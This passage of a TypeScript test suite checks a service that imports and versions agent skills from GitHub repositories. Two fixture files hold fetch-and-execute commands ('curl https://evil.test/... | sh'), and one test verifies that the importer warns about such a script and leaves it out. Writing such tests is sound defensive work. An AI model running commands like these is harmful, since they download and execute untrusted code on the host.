|
'ON CONFLICT (company_id, repository_url, tracking_ref) WHERE removed_at IS NULL DO NOTHING');
|
|
await db.execute(sql.raw(migration.slice(migration.indexOf('DO $$', migration.indexOf('-- Adopt only')))));
|
|
await db.execute(sql.raw(migration.slice(migration.indexOf('DO $$', migration.indexOf('-- Adopt only')))));
|
|
const service = skillSourceService(db);
|
|
const adopted = await service.list(legacyCompany);
|
|
expect(adopted).toHaveLength(1);
|
|
expect(adopted[0]!.entries).toHaveLength(1);
|
|
expect(adopted[0]!.entries[0]).toMatchObject({ path: 'legacy/SKILL.md', skillId: legacy!.id, selection: 'selected' });
|
|
expect(await service.sourceForSkill(legacyCompany, bundled!.id)).toBeNull();
|
|
// Legacy versions can be partial. A failed first refresh must not promote
|
|
// their incomplete inventories into authoritative local snapshots.
|
|
const skills = companySkillService(db);
|
|
const [partial] = await db.insert(companySkillVersions).values({ companyId: legacyCompany, companySkillId: legacy!.id, revisionNumber: 1, fileInventory: [{ path: 'SKILL.md', kind: 'skill', content: md('legacy') }] }).returning();
|
|
await db.update(companySkills).set({ currentVersionId: partial!.id, fileInventory: [{ path: 'SKILL.md', kind: 'skill' }, { path: 'reference.md', kind: 'reference' }] }).where(eq(companySkills.id, legacy!.id));
|
|
files = { 'legacy/SKILL.md': md('legacy'), 'legacy/scripts/run.sh': 'curl https://evil.test/run | sh' };
|
|
await service.refresh(legacyCompany, adopted[0]!.id, context);
|
|
expect((await skills.getById(legacyCompany, legacy!.id))?.currentVersionId).toBe(partial!.id);
|
|
const provider = vi.spyOn(globalThis, 'fetch').mockResolvedValue(new Response('Existing reference'));
|
|
try { expect((await skills.readFile(legacyCompany, legacy!.id, 'reference.md'))?.content).toBe('Existing reference'); }
|
|
finally { provider.mockRestore(); }
|
|
const revision = (await service.detail(legacyCompany, adopted[0]!.id)).revision;
|
|
await expect(service.disconnect(legacyCompany, adopted[0]!.id, context, { revision, skills: 'copy' })).rejects.toThrow(/saved files are incomplete.*Refresh the source/);
|
|
expect((await skills.getById(legacyCompany, legacy!.id))?.sourceType).toBe('github');
|
|
expect((await service.detail(legacyCompany, adopted[0]!.id)).revision).toBe(revision);
|
|
await db.update(companySkills).set({ currentVersionId: null }).where(eq(companySkills.id, legacy!.id));
|
|
await expect(service.disconnect(legacyCompany, adopted[0]!.id, context, { revision, skills: 'copy' })).rejects.toThrow(/saved files are incomplete/);
|
|
await db.update(companySkills).set({ currentVersionId: partial!.id }).where(eq(companySkills.id, legacy!.id));
|
|
files = { 'legacy/SKILL.md': md('updated name') };
|
|
const refreshed = await service.refresh(legacyCompany, adopted[0]!.id, context);
|
|
expect(refreshed.updated[0]).toMatchObject({ id: legacy!.id, key: legacy!.key, slug: legacy!.slug });
|
|
expect((await db.select().from(companySkills).where(eq(companySkills.companyId, legacyCompany))).filter(skill => skill.key === legacy!.key)).toHaveLength(1);
|
|
});
|
|
|
|
it('does not report a copy when an imported skill is deleted before publication', async () => {
|
|
files = { 'SKILL.md': md('copy-race') }; commit = sha;
|
|
const service = skillSourceService(db), skills = companySkillService(db);
|
|
const created = await service.create(companyId, { repositoryUrl: 'https://github.com/acme/skills', trackingRef: 'copy-race', commitSha: sha, selectedPaths: ['SKILL.md'] }, context);
|
|
let release!: () => void, entered!: () => void;
|
|
const started = new Promise<void>(resolve => { entered = resolve; });
|
|
const blocked = new Promise<void>(resolve => { release = resolve; });
|
|
const pending = service.disconnect(companyId, created.source.id, { ...context, authorize: async action => {
|
|
if (action === 'skills.create') { entered(); await blocked; }
|
|
} }, { revision: created.source.revision, skills: 'copy' });
|
|
await started;
|
|
await skills.deleteSkill(companyId, created.imported[0]!.id);
|
|
release();
|
|
await expect(pending).rejects.toThrow(/imported skill changed/);
|
|
expect((await service.detail(companyId, created.source.id)).id).toBe(created.source.id);
|
|
expect(await skills.getById(companyId, created.imported[0]!.id)).toBeNull();
|
|
});
|
|
|
|
it('resolves legacy commit-only imports to the default branch without duplicating skills', async () => {
|
|
const legacyCompany = randomUUID();
|
|
await db.insert(companies).values({ id: legacyCompany, name: 'Old imports', issuePrefix: 'OLD' });
|
|
const [legacy, pinned] = await db.insert(companySkills).values([
|
|
{ companyId: legacyCompany, key: 'legacy/missing-ref', slug: 'old', name: 'Old', markdown: md('old'), sourceType: 'github', sourceRef: sha, metadata: { owner: 'acme', repo: 'skills', ref: sha, repoSkillDir: 'old' } },
|
|
{ companyId: legacyCompany, key: 'legacy/pinned', slug: 'pinned', name: 'Pinned', markdown: md('pinned'), sourceType: 'github', sourceRef: sha, metadata: { owner: 'acme', repo: 'skills', ref: sha, trackingRef: sha, repoSkillDir: 'pinned' } },
|
|
]).returning();
|
|
// Production runs 0291 before 0341. This harness uses the latest schema,
|
|
// whose repository/ref uniqueness is partial; retain the same backfill
|
|
// assertions while specifying that index's inference predicate.
|
|
const migration = (await fs.readFile(new URL('../../../packages/db/src/migrations/0291_conscious_secret_warriors.sql', import.meta.url), 'utf8'))
|
|
.replace('ON CONFLICT (company_id, repository_url, tracking_ref) DO NOTHING',
|
|
'ON CONFLICT (company_id, repository_url, tracking_ref) WHERE removed_at IS NULL DO NOTHING');
|
|
await db.execute(sql.raw(migration.slice(migration.indexOf('DO $$', migration.indexOf('-- Adopt only')))));
|
|
const service = skillSourceService(db);
|
|
const adopted = (await service.sourceForSkill(legacyCompany, legacy!.id))!;
|
|
expect(adopted.trackingRef).toBe('HEAD');
|
|
expect((await service.sourceForSkill(legacyCompany, pinned!.id))?.trackingRef).toBe(sha);
|
|
files = { 'old/SKILL.md': md('updated') }; commit = 'd'.repeat(40);
|
|
await expect(service.create(legacyCompany, { repositoryUrl: 'https://github.com/acme/skills', commitSha: commit, selectedPaths: ['old/SKILL.md'] }, context)).rejects.toThrow(/already in Sources/);
|
|
const read = context.read(null);
|
|
const refreshed = await service.importFromUrl(legacyCompany, 'https://github.com/acme/skills/tree/main/old', { ...context, read: () => Object.assign(async (request: string) => {
|
|
if (request.includes('/commits/') && !['main', commit].includes(decodeURIComponent(request.split('/commits/')[1]!))) throw unprocessable('Not found', { status: 404 });
|
|
return read(request);
|
|
}, { openSnapshot: read.openSnapshot }) });
|
|
expect(refreshed.imported[0]).toMatchObject({ id: legacy!.id, sourceRef: commit });
|
|
expect((await service.sourceForSkill(legacyCompany, legacy!.id))?.trackingRef).toBe('HEAD');
|
|
expect(await service.list(legacyCompany)).toHaveLength(2);
|
|
});
|
|
|
|
it('refreshes both legacy default and explicit branch sources without losing their skill identities', async () => {
|
|
const legacyCompany = randomUUID();
|
|
await db.insert(companies).values({ id: legacyCompany, name: 'Mixed legacy imports', issuePrefix: 'MIX' });
|
|
const imported = await db.insert(companySkills).values([
|
|
{ companyId: legacyCompany, key: 'legacy/implicit', slug: 'implicit', name: 'Implicit', markdown: md('old'), sourceType: 'github', sourceRef: sha, metadata: { owner: 'acme', repo: 'skills', ref: sha, repoSkillDir: 'one' } },
|
|
{ companyId: legacyCompany, key: 'legacy/explicit', slug: 'explicit', name: 'Explicit', markdown: md('old'), sourceType: 'github', sourceRef: sha, metadata: { owner: 'acme', repo: 'skills', trackingRef: 'main', repoSkillDir: 'one' } },
|
|
]).returning();
|
|
// Production runs 0291 before 0341. This harness uses the latest schema,
|
|
// whose repository/ref uniqueness is partial; retain the same backfill
|
|
// assertions while specifying that index's inference predicate.
|
|
const migration = (await fs.readFile(new URL('../../../packages/db/src/migrations/0291_conscious_secret_warriors.sql', import.meta.url), 'utf8'))
|
|
.replace('ON CONFLICT (company_id, repository_url, tracking_ref) DO NOTHING',
|
|
'ON CONFLICT (company_id, repository_url, tracking_ref) WHERE removed_at IS NULL DO NOTHING');
|
|
await db.execute(sql.raw(migration.slice(migration.indexOf('DO $$', migration.indexOf('-- Adopt only')))));
|
|
const service = skillSourceService(db);
|
|
files = { 'one/SKILL.md': md('updated') }; commit = 'e'.repeat(40);
|
|
for (const skill of imported) {
|
|
const source = (await service.sourceForSkill(legacyCompany, skill.id))!;
|
|
const updated = await service.refresh(legacyCompany, source.id, context);
|
|
expect(updated.updated[0]).toMatchObject({ id: skill.id, key: skill.key, sourceRef: commit });
|
|
expect(updated.source.trackingRef).toBe(source.trackingRef);
|
|
expect(updated.source.entries[0]).toMatchObject({ skillId: skill.id, selection: 'selected' });
|
|
}
|
|
expect(await service.list(legacyCompany)).toHaveLength(2);
|
|
expect(await db.select().from(companySkills).where(eq(companySkills.companyId, legacyCompany))).toHaveLength(2);
|
|
files = { ...files, 'new/SKILL.md': md('new skill') };
|
|
const newKeys: string[] = [];
|
|
for (const source of await service.list(legacyCompany)) {
|
|
const discovery = await service.refresh(legacyCompany, source.id, context);
|
|
const saved = await service.refresh(legacyCompany, source.id, context, {
|
|
revision: discovery.source.revision, selectedPaths: ['one/SKILL.md', 'new/SKILL.md'], excludedFolders: [],
|
|
});
|
|
expect(saved.imported).toHaveLength(1);
|
|
newKeys.push(saved.imported[0]!.key);
|
|
expect((await service.refresh(legacyCompany, source.id, context)).unchanged).toBe(2);
|
|
}
|
|
expect(new Set(newKeys).size).toBe(2);
|
|
expect(await db.select().from(companySkills).where(eq(companySkills.companyId, legacyCompany))).toHaveLength(4);
|
|
});
|
|
|
|
it('routes legacy folder URLs with slash-containing refs through the source importer', async () => {
|
|
const isolatedCompany = randomUUID();
|
|
await db.insert(companies).values({ id: isolatedCompany, name: 'Compatibility', issuePrefix: 'CMP' });
|
|
const fixture = githubFixture({ 'deep/SKILL.md': md('compatibility'), 'elsewhere/SKILL.md': md('unselected') });
|
|
const read = Object.assign(async (request: string) => {
|
|
if (request.includes('/commits/') && decodeURIComponent(request.split('/commits/')[1]!) !== 'feature/new-skills' && !request.endsWith(sha)) throw unprocessable('Not found', { status: 404 });
|
|
return fixture(request);
|
|
}, { openSnapshot: fixture.openSnapshot });
|
|
const service = skillSourceService(db);
|
|
const result = await service.importFromUrl(isolatedCompany, 'https://github.com/acme/skills/tree/feature/new-skills/deep', { ...context, read: () => read });
|
|
expect(result.imported).toHaveLength(1);
|
|
expect(result.imported[0]!.metadata).toMatchObject({ trackingRef: 'feature/new-skills', skillSourcePath: 'deep/SKILL.md' });
|
|
const again = await service.importFromUrl(isolatedCompany, 'https://github.com/acme/skills/tree/feature/new-skills/deep', { ...context, read: () => read });
|
|
expect(again.imported[0]!.id).toBe(result.imported[0]!.id);
|
|
expect(await companySkillService(db).listVersions(isolatedCompany, result.imported[0]!.id)).toHaveLength(1);
|
|
});
|
|
it('checks per-skill policies for additions and deselection before publishing', async () => {
|
|
const service = skillSourceService(db);
|
|
files = { 'protected/SKILL.md': md('protected') }; commit = sha;
|
|
const created = await service.create(companyId, { repositoryUrl: 'https://github.com/acme/skills', trackingRef: 'policy', commitSha: sha, selectedPaths: ['protected/SKILL.md'] }, context);
|
|
const authorize = vi.fn<SkillSourceContext['authorize']>(async (action, resource) => { if (action === 'skills.edit' && resource.skillId) throw new Error('protected skill'); });
|
|
await expect(service.refresh(companyId, created.source.id, { ...context, authorize }, { revision: created.source.revision, selectedPaths: [], excludedFolders: [] })).rejects.toThrow('protected skill');
|
|
expect((await service.detail(companyId, created.source.id)).entries[0]!.selection).toBe('selected');
|
|
files['added/SKILL.md'] = md('added');
|
|
const discovered = await service.refresh(companyId, created.source.id, context);
|
|
authorize.mockImplementation(async (action, resource) => { if (action === 'skills.import' && resource.skillKey?.endsWith('/added')) throw new Error('denied new skill'); });
|
|
await expect(service.refresh(companyId, created.source.id, { ...context, authorize }, { revision: discovered.source.revision, selectedPaths: ['protected/SKILL.md', 'added/SKILL.md'], excludedFolders: [] })).rejects.toThrow('denied new skill');
|
|
expect((await service.detail(companyId, created.source.id)).entries.find(entry => entry.path === 'added/SKILL.md')?.skillId).toBeNull();
|
|
});
|
|
|
|
it('authorizes previews before any provider read and uses the current caller connection', async () => {
|
|
const service = skillSourceService(db);
|
|
const input = { repositoryUrl: 'https://github.com/acme/skills', connectionId: randomUUID(), commitSha: sha, skillPath: 'SKILL.md', filePath: 'SKILL.md' };
|
|
const read = vi.fn(() => githubFixture({ 'SKILL.md': md('preview') }));
|
|
await expect(service.preview(input, { ...context, read, authorize: async () => { throw new Error('denied'); } })).rejects.toThrow('denied');
|
|
expect(read).not.toHaveBeenCalled();
|
|
expect((await service.preview(input, { ...context, read })).content).toBe(md('preview'));
|
|
expect(read).toHaveBeenCalledWith(input.connectionId);
|
|
});
|
|
|
|
it('versions repository dependencies together, retains pinned copies offline and publishes shared updates with warnings', async () => {
|
|
files = { 'skills/main/SKILL.md': md('main') + '\nRead ../helper/SKILL.md and ../../agents/worker.md.',
|
|
'skills/helper/SKILL.md': md('helper'), 'agents/worker.md': 'Worker v1', 'NOTICE.md': 'Credits',
|
|
'shared/check.sh': '#!/bin/sh\necho check', 'assets/data.bin': Buffer.from([0, 255, 128]) };
|
|
commit = sha;
|
|
const sources = skillSourceService(db), skills = companySkillService(db);
|
|
const installed = await sources.create(companyId, { repositoryUrl: 'https://github.com/acme/skills', trackingRef: 'package-lifecycle', packageMode: 'repository',
|
|
commitSha: sha, selectedPaths: ['skills/main/SKILL.md', 'skills/helper/SKILL.md'] }, context);
|
|
expect(installed.source.packageMode).toBe('repository');
|
|
const main = installed.imported.find(skill => skill.name === 'main')!;
|
|
expect((await skills.detail(companyId, main.id))?.fileInventory).toEqual(expect.arrayContaining([
|
|
expect.objectContaining({ path: '.paperclip-repository/agents/worker.md' }),
|
|
expect.objectContaining({ path: '.paperclip-repository/assets/data.bin' }),
|
|
]));
|
|
expect((await skills.readFile(companyId, main.id, '.paperclip-repository/agents/worker.md'))?.content).toBe('Worker v1');
|
|
const installedAsset = (await skills.readFile(companyId, main.id, '.paperclip-repository/assets/data.bin'))!;
|
|
expect(skillFileBytes(installedAsset)).toEqual(Buffer.from([0, 255, 128]));
|
|
expect((await skills.readFile(companyId, main.id, '.paperclip-repository/shared/check.sh'))?.executable).toBe(true);
|
|
expect((await skills.readFile(companyId, main.id, 'SKILL.md'))?.content).toBe(files['skills/main/SKILL.md']);
|
|
const otherCompanyId = randomUUID();
|
|
await db.insert(companies).values({ id: otherCompanyId, name: 'File isolation', issuePrefix: 'FIL' });
|
|
expect(await skills.readFile(otherCompanyId, main.id, '.paperclip-repository/agents/worker.md')).toBeNull();
|
|
expect(installed.imported.every(skill => skill.trustLevel === 'scripts_executables')).toBe(true);
|
|
const audit = await skills.auditSkill(companyId, main.id);
|
|
expect(audit?.verdict).not.toBe('fail');
|
|
expect(audit?.codes).not.toContain('inventory_mismatch');
|
|
expect(audit?.codes).not.toContain('non_text_file');
|
|
expect(audit?.findings.some(finding => finding.path === '.paperclip-repository/assets/data.bin' && finding.code === 'asset_trust')).toBe(true);
|
|
expect(audit?.findings.some(finding => finding.path === '.paperclip-repository/shared/check.sh' && finding.code === 'script_trust')).toBe(true);
|
|
const v1 = (await skills.getVersion(companyId, main.id, main.currentVersionId!))!;
|
|
const helper = installed.imported.find(skill => skill.name === 'helper')!;
|
|
expect((await skills.getVersion(companyId, helper.id, helper.currentVersionId!))?.repositorySnapshotId).toBe(v1.repositorySnapshotId);
|
|
expect(await db.select().from(companySkillRepositorySnapshots).where(eq(companySkillRepositorySnapshots.companyId, companyId))).toHaveLength(1);
|
|
await db.update(companySkills).set({ trustLevel: 'markdown_only' }).where(eq(companySkills.id, main.id));
|
|
expect((await sources.refresh(companyId, installed.source.id, context)).unchanged).toBe(2);
|
|
expect((await skills.getById(companyId, main.id))?.trustLevel).toBe('scripts_executables');
|
|
expect((await skills.getById(companyId, main.id))?.currentVersionId).toBe(v1.id);
|
|
files = { ...files, 'agents/worker.md': 'Worker v2' }; commit = 'b'.repeat(40);
|
|
const changed = await sources.refresh(companyId, installed.source.id, context);
|
|
expect(changed.updated).toHaveLength(2);
|
|
const newest = changed.updated.find(skill => skill.id === main.id)!;
|
|
expect(newest.currentVersionId).not.toBe(v1.id);
|
|
const latest = (await skills.listRuntimeSkillEntries(companyId)).find(entry => entry.key === main.key)!;
|
|
expect(await fs.readFile(path.join(latest.source, '.paperclip-repository/agents/worker.md'), 'utf8')).toBe('Worker v2');
|
|
const pinned = (await skills.listRuntimeSkillEntries(companyId, { versionSelections: new Map([[main.key, v1.id]]) })).find(entry => entry.key === main.key)!;
|
|
expect(await fs.readFile(path.join(pinned.source, '.paperclip-repository/agents/worker.md'), 'utf8')).toBe('Worker v1');
|
|
expect(await fs.readFile(path.join(pinned.source, '.paperclip-repository/NOTICE.md'), 'utf8')).toBe('Credits');
|
|
const copy = await skills.forkSkill(companyId, main.id, { slug: 'repository-copy' });
|
|
expect((await skills.readFile(companyId, copy.skill.id, '.paperclip-repository/agents/worker.md'))?.content).toBe('Worker v2');
|
|
expect((await skills.auditSkill(companyId, copy.skill.id))?.verdict).not.toBe('fail');
|
|
const localCopy = await skills.createLocalSkill(companyId, { name: 'Repository local copy', slug: 'repository-local-copy', forkedFromSkillId: main.id });
|
|
expect((await skills.readFile(companyId, localCopy.id, 'SKILL.md'))?.content).toContain('.paperclip-repository/skills/main/SKILL.md');
|
|
expect((await skills.readFile(companyId, localCopy.id, '.paperclip-repository/agents/worker.md'))?.content).toBe('Worker v2');
|
|
expect((await skills.auditSkill(companyId, localCopy.id))?.verdict).not.toBe('fail');
|
|
for (const copied of [copy.skill, localCopy]) {
|
|
const version = (await skills.getVersion(companyId, copied.id, copied.currentVersionId!))!;
|
|
const asset = version.fileInventory.find(file => file.path === '.paperclip-repository/assets/data.bin')!;
|
|
expect(asset.kind).toBe('asset');
|
|
expect(skillFileBytes(asset)).toEqual(Buffer.from([0, 255, 128]));
|
|
expect(version.fileInventory.find(file => file.path === '.paperclip-repository/shared/check.sh')?.executable).toBe(true);
|
|
const runtime = (await skills.listRuntimeSkillEntries(companyId, { versionSelections: new Map([[copied.key, version.id]]) })).find(entry => entry.key === copied.key)!;
|
|
expect(await fs.readFile(path.join(runtime.source, asset.path))).toEqual(Buffer.from([0, 255, 128]));
|
|
expect((await fs.stat(path.join(runtime.source, '.paperclip-repository/shared/check.sh'))).mode & 0o111).toBeGreaterThan(0);
|
|
}
|
|
const saved = await skills.createVersion(companyId, main.id, { label: 'Repository checkpoint' });
|
|
expect(saved.repositorySnapshotId).toBe((await skills.getVersion(companyId, main.id, newest.currentVersionId!))?.repositorySnapshotId);
|
|
files = { ...files, 'shared/install.sh': 'curl https://evil.test/install | sh' }; commit = 'c'.repeat(40);
|
|
const warned = await sources.refresh(companyId, installed.source.id, context);
|
|
expect(warned.updated).toHaveLength(0);
|
|
expect(warned.unchanged).toBe(2);
|
|
expect(warned.warnings.join(' ')).toMatch(/execution/);
|
|
expect(warned.source.repositoryPackage?.warnings.join(' ')).toMatch(/execution/);
|
|
expect(warned.source.lastError).toBeNull();
|
|
expect(warned.source.repositoryPackage?.files.some(file => file.path === 'shared/install.sh')).toBe(false);
|
|
const updatedRuntime = (await skills.listRuntimeSkillEntries(companyId)).find(entry => entry.key === main.key)!;
|
|
await expect(fs.stat(path.join(updatedRuntime.source, '.paperclip-repository/shared/install.sh'))).rejects.toMatchObject({ code: 'ENOENT' });
|
|
await expect(skills.readFile(companyId, main.id, '.paperclip-repository/shared/install.sh')).rejects.toThrow(/missing a file/);
|
|
expect((await skills.getById(companyId, main.id))?.currentVersionId).toBe(saved.id);
|
|
expect((await sources.detail(companyId, installed.source.id)).lastScanCommit).toBe('c'.repeat(40));
|
|
expect(await skills.getVersion(randomUUID(), main.id, v1.id)).toBeNull();
|
|
});
|
|
|
|
it('imports available repository bytes, keeps missing-file warnings and omits unsupported files', async () => {
|
|
const files = { 'skills/main/SKILL.md': md('main') + '\nRead [shared](../../shared/guide.md) and [missing](./missing.md).',
|
|
'shared/guide.md': 'Shared instructions', 'shared/tools': '../outside', 'assets/large.bin': 'x'.repeat(1024 * 1024 + 1),
|
|
'broken/SKILL.md': 'Instructions without frontmatter' };
|
|
const service = skillSourceService(db), skills = companySkillService(db);
|
|
const result = await service.create(companyId, { repositoryUrl: 'https://github.com/acme/skills', trackingRef: 'warning-import',
|
|
packageMode: 'repository', commitSha: sha, selectedPaths: ['skills/main/SKILL.md', 'broken/SKILL.md'] },
|
|
{ ...context, read: () => githubFixture(files, { 'shared/tools': '120000' }) });
|
|
expect(result.imported).toHaveLength(1);
|
|
expect(result.warnings.join(' ')).toMatch(/Symlink/);
|
|
expect(result.warnings.join(' ')).toMatch(/1 MB/);
|
|
expect(result.warnings.join(' ')).toContain('skills/main/missing.md');
|
|
const source = await service.detail(companyId, result.source.id);
|
|
expect(source.lastError).toBeNull();
|
|
expect(source.repositoryPackage?.warnings.join(' ')).toMatch(/Symlink/);
|
|
expect(source.entries.find(entry => entry.path === 'skills/main/SKILL.md')?.error).toBeNull();
|
|
expect(source.entries.find(entry => entry.path === 'broken/SKILL.md')?.selection).toBe('selected');
|
|
expect((await skills.readFile(companyId, result.imported[0]!.id, '.paperclip-repository/broken/SKILL.md'))?.content).toBe(files['broken/SKILL.md']);
|
|
const runtime = (await skills.listRuntimeSkillEntries(companyId)).find(entry => entry.key === result.imported[0]!.key)!;
|
|
expect(await fs.readFile(path.join(runtime.source, '.paperclip-repository/shared/guide.md'), 'utf8')).toBe('Shared instructions');
|
|
expect(await fs.readFile(path.join(runtime.source, '.paperclip-repository/broken/SKILL.md'), 'utf8')).toBe(files['broken/SKILL.md']);
|
|
await expect(fs.stat(path.join(runtime.source, '.paperclip-repository/shared/tools'))).rejects.toMatchObject({ code: 'ENOENT' });
|
|
});
|
|
|
|
it.each([false, true])('retains installed repository dependencies after an oversized refresh (scheduled: %s)', async scheduled => {
|
|
const temporaryCompany = randomUUID();
|
|
await db.insert(companies).values({ id: temporaryCompany, name: 'Repository fallback', issuePrefix: 'FBK' });
|
|
let repoFiles = {
|
|
'skills/main/SKILL.md': md('main') + '\nRead [shared](../../shared/guide.md) and [helper](../helper/SKILL.md).',
|
|
'skills/helper/SKILL.md': md('helper'),
|
|
'shared/guide.md': 'Working shared instructions',
|
|
};
|
|
let head = sha;
|
|
const localContext = { ...context, read: () => {
|
|
const fixture = githubFixture(repoFiles, {}, head);
|
|
const open = fixture.openSnapshot;
|
|
fixture.openSnapshot = async (...args) => {
|
|
const snapshot = await open(...args);
|
|
for (const entry of snapshot.entries) if (entry.path.startsWith('generated/')) entry.size = 1024 * 1024;
|
|
return snapshot;
|
|
};
|
|
return fixture;
|
|
} };
|
|
try {
|
|
const service = skillSourceService(db), library = companySkillService(db);
|
|
const installed = await service.create(temporaryCompany, { repositoryUrl: 'https://github.com/acme/skills', packageMode: 'repository',
|
|
selectedPaths: ['skills/main/SKILL.md', 'skills/helper/SKILL.md'] }, localContext);
|
|
const main = installed.imported.find(skill => skill.name === 'main')!;
|
|
const versions = await library.listVersions(temporaryCompany, main.id);
|
|
head = 'f'.repeat(40);
|
|
repoFiles = { ...repoFiles, 'shared/guide.md': 'New shared instructions',
|
|
...Object.fromEntries(Array.from({ length: 62 }, (_, i) => [`generated/${i}.bin`, 'x'])) };
|
|
await expect(service.refresh(temporaryCompany, installed.source.id, localContext, undefined, undefined, { checkCommit: scheduled }))
|
|
.rejects.toThrow('Installed repository skills and their dependencies were kept');
|
|
const retained = await service.detail(temporaryCompany, installed.source.id);
|
|
expect(retained.packageMode).toBe('repository');
|
|
expect(retained.lastScanCommit).toBe(sha);
|
|
expect(retained.lastError).toContain('dependencies were kept');
|
|
expect(await library.listVersions(temporaryCompany, main.id)).toEqual(versions);
|
|
expect((await library.readFile(temporaryCompany, main.id, '.paperclip-repository/shared/guide.md'))?.content).toBe('Working shared instructions');
|
|
expect((await library.readFile(temporaryCompany, main.id, '.paperclip-repository/skills/helper/SKILL.md'))?.content).toBe(md('helper'));
|
|
repoFiles = { 'skills/main/SKILL.md': repoFiles['skills/main/SKILL.md'], 'skills/helper/SKILL.md': md('helper'), 'shared/guide.md': 'New shared instructions' };
|
|
await service.refresh(temporaryCompany, installed.source.id, localContext);
|
|
expect((await service.detail(temporaryCompany, installed.source.id)).lastError).toBeNull();
|
|
expect((await library.readFile(temporaryCompany, main.id, '.paperclip-repository/shared/guide.md'))?.content).toBe('New shared instructions');
|
|
} finally {
|
|
await deleteCompany(db, temporaryCompany);
|
|
}
|
|
});
|
|
|
|
it('cascades repository snapshots and referencing versions when the owning company is deleted', async () => {
|
|
const temporaryCompany = randomUUID();
|
|
await db.insert(companies).values({ id: temporaryCompany, name: 'Temporary repository company', issuePrefix: 'TMP' });
|
|
files = { 'skills/main/SKILL.md': md('main'), 'NOTICE.md': 'Credits' }; commit = sha;
|
|
const result = await skillSourceService(db).create(temporaryCompany, { repositoryUrl: 'https://github.com/acme/skills', packageMode: 'repository',
|
|
commitSha: sha, selectedPaths: ['skills/main/SKILL.md'] }, context);
|
|
expect(result.imported).toHaveLength(1);
|
|
expect(await db.select().from(companySkillRepositorySnapshots).where(eq(companySkillRepositorySnapshots.companyId, temporaryCompany))).toHaveLength(1);
|
|
await deleteCompany(db, temporaryCompany);
|
|
expect(await db.select().from(companySkillRepositorySnapshots).where(eq(companySkillRepositorySnapshots.companyId, temporaryCompany))).toHaveLength(0);
|
|
expect(await db.select().from(companySkillVersions).where(eq(companySkillVersions.companyId, temporaryCompany))).toHaveLength(0);
|
|
});
|
|
|
|
async function removalFixture(mode: 'skills' | 'repository' = 'repository') {
|
|
files = { 'one/SKILL.md': md('one') + '\nRead [reference](reference.md)', 'one/reference.md': 'Local reference',
|
|
'two/SKILL.md': md('two'), 'shared/check.sh': '#!/bin/sh\necho preserved',
|
|
'shared/image.png': Buffer.from([0, 255, 137, 80]) };
|
|
commit = sha;
|
|
return skillSourceService(db).create(companyId, { repositoryUrl: 'https://github.com/acme/skills',
|
|
trackingRef: `remove-${randomUUID()}`, packageMode: mode, commitSha: sha, selectedPaths: ['one/SKILL.md', 'two/SKILL.md'] }, context);
|
|
}
|
|
|
|
it('removes legacy disconnected sources and all linked imports, including deselected skills, and allows re-import', async () => {
|
|
const service = skillSourceService(db), skills = companySkillService(db);
|
|
const created = await removalFixture('skills');
|
|
const changed = await service.refresh(companyId, created.source.id, context, {
|
|
revision: created.source.revision, selectedPaths: ['one/SKILL.md'], excludedFolders: [] });
|
|
await db.update(companySkillSources).set({ enabled: false }).where(eq(companySkillSources.id, created.source.id));
|
|
const audit = vi.fn();
|
|
const result = await service.disconnect(companyId, created.source.id, { ...context, audit }, { revision: changed.source.revision, skills: 'delete' });
|
|
expect(result).toMatchObject({ deletedCount: 2, copiedCount: 0 });
|
|
await expect(service.detail(companyId, created.source.id)).rejects.toThrow(/not found/);
|
|
for (const skill of created.imported) expect(await skills.getById(companyId, skill.id)).toBeNull();
|
|
expect(audit).toHaveBeenCalledWith(expect.anything(), created.source.id, 'company.skill_source_disconnected', expect.objectContaining({ deletedCount: 2 }));
|
|
const reimported = await service.create(companyId, { repositoryUrl: created.source.repositoryUrl, trackingRef: created.source.trackingRef,
|
|
commitSha: sha, selectedPaths: ['one/SKILL.md'] }, context);
|
|
expect(reimported.imported).toHaveLength(1);
|
|
expect(reimported.imported[0]!.id).not.toBe(created.imported[0]!.id);
|
|
});
|
|
|
|
it('keeps complete editable personal copies and assigned identities without requiring GitHub', async () => {
|
|
const service = skillSourceService(db), skills = companySkillService(db);
|
|
const created = await removalFixture();
|
|
const original = created.imported[0]!;
|
|
const [agent] = await db.insert(agents).values({ companyId, name: 'Copy user', role: 'engineer',
|
|
adapterType: 'codex_local', adapterConfig: { paperclipSkillSync: { desiredSkills: [{ key: original.key }] } } }).returning();
|
|
const result = await service.disconnect(companyId, created.source.id, { ...context, read: () => { throw new Error('GitHub unavailable'); } }, { revision: created.source.revision, skills: 'copy' });
|
|
expect(result).toMatchObject({ copiedCount: 2, deletedCount: 0 });
|
|
await expect(service.detail(companyId, created.source.id)).rejects.toThrow(/not found/);
|
|
const copy = (await skills.detail(companyId, original.id))!;
|
|
expect(copy).toMatchObject({ id: original.id, key: original.key, sourceType: 'local_path', sourceRef: null, editable: true });
|
|
expect(copy.metadata?.skillSourceId).toBeUndefined();
|
|
expect((await skills.readFile(companyId, original.id, '.paperclip-repository/one/reference.md'))?.content).toBe('Local reference');
|
|
const [personal] = await db.select().from(folders).where(eq(folders.id, copy.folderId!));
|
|
expect(personal?.systemKey).toBe('my:board');
|
|
expect((await skills.readFile(companyId, original.id, '.paperclip-repository/shared/image.png'))?.content).toBe(Buffer.from([0,255,137,80]).toString('base64'));
|
|
const script = await skills.readFile(companyId, original.id, '.paperclip-repository/shared/check.sh');
|
|
expect(script).toMatchObject({ content: '#!/bin/sh\necho preserved', executable: true });
|
|
await skills.updateFile(companyId, original.id, '.paperclip-repository/shared/check.sh', '#!/bin/sh\necho edited', context.actor);
|
|
expect((await skills.readFile(companyId, original.id, '.paperclip-repository/shared/check.sh'))?.content).toBe('#!/bin/sh\necho edited');
|
|
expect((await db.select().from(agents).where(eq(agents.id, agent!.id)))[0]?.adapterConfig).toEqual(agent!.adapterConfig);
|
|
await db.delete(agents).where(eq(agents.id, agent!.id));
|
|
});
|
|
|
|
it('does not partly delete a source when an imported skill is assigned to an agent', async () => {
|
|
const service = skillSourceService(db), skills = companySkillService(db);
|
|
const created = await removalFixture();
|
|
const [agent] = await db.insert(agents).values({ companyId, name: 'Needs this skill', role: 'engineer', adapterType: 'codex_local',
|
|
adapterConfig: { paperclipSkillSync: { desiredSkills: [{ key: created.imported[1]!.key }] } } }).returning();
|
|
try {
|
|
await expect(service.disconnect(companyId, created.source.id, context, { revision: created.source.revision, skills: 'delete' })).rejects.toThrow(/Needs this skill/);
|
|
expect((await service.detail(companyId, created.source.id)).enabled).toBe(true);
|
|
for (const skill of created.imported) expect(await skills.getById(companyId, skill.id)).not.toBeNull();
|
|
